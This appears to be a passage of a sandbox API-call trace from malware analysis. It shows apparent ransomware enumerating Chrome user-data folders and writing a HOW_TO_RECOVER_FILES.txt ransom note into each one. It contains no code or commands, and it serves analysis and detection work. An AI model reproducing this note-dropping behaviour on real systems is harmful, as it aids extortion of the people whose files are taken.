0 [0208.334] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.334] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter", lpFilePart=0x0) returned 0x40 [0208.334] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.334] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.335] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525ff70d, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525ff70d, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525ff70d, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.335] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.335] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x59 [0208.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.335] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\SwReporter\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\swreporter\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.336] GetFileType (hFile=0x828) returned 0x1 [0208.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.336] GetFileType (hFile=0x828) returned 0x1 [0208.337] WriteFile (in: hFile=0x828, lpBuffer=0x3626670*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3626670*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.338] CloseHandle (hObject=0x828) returned 1 [0208.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.338] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpFilePart=0x0) returned 0x41 [0208.338] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.338] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.338] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.338] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm", lpFilePart=0x0) returned 0x41 [0208.339] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.339] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.339] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fa8ee, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fa8ee, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fa8ee, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.339] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.339] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5a [0208.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.339] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\WidevineCdm\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\widevinecdm\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.340] GetFileType (hFile=0x828) returned 0x1 [0208.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.340] GetFileType (hFile=0x828) returned 0x1 [0208.341] WriteFile (in: hFile=0x828, lpBuffer=0x3637960*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3637960*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.341] CloseHandle (hObject=0x828) returned 1 [0208.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.342] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpFilePart=0x0) returned 0x46 [0208.342] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.342] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.342] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.342] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.343] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", lpFilePart=0x0) returned 0x46 [0208.343] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.343] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.343] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.343] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.343] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5f [0208.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.343] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.344] GetFileType (hFile=0x828) returned 0x1 [0208.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.344] GetFileType (hFile=0x828) returned 0x1 [0208.345] WriteFile (in: hFile=0x828, lpBuffer=0x3648d80*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3648d80*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0208.346] CloseHandle (hObject=0x828) returned 1 [0208.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.346] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpFilePart=0x0) returned 0x42 [0208.346] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.346] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.347] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.347] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0208.347] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", lpFilePart=0x0) returned 0x42 [0208.347] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0208.347] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0208.347] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525fd004, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525fd004, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525fd004, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0208.347] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0208.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0208.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0208.348] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x5b [0208.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0208.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\origintrials\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x828 [0208.471] GetFileType (hFile=0x828) returned 0x1 [0208.471] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0208.471] GetFileType (hFile=0x828) returned 0x1 [0209.302] WriteFile (in: hFile=0x828, lpBuffer=0x37407c0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x37407c0*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0209.303] CloseHandle (hObject=0x828) returned 1 [0209.303] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0209.303] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpFilePart=0x0) returned 0x41 [0209.303] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.303] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.303] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.304] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0209.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0209.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0209.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0209.304] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", lpFilePart=0x0) returned 0x41 [0209.304] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0209.304] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x525f81de, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x525f81de, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x525f81de, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 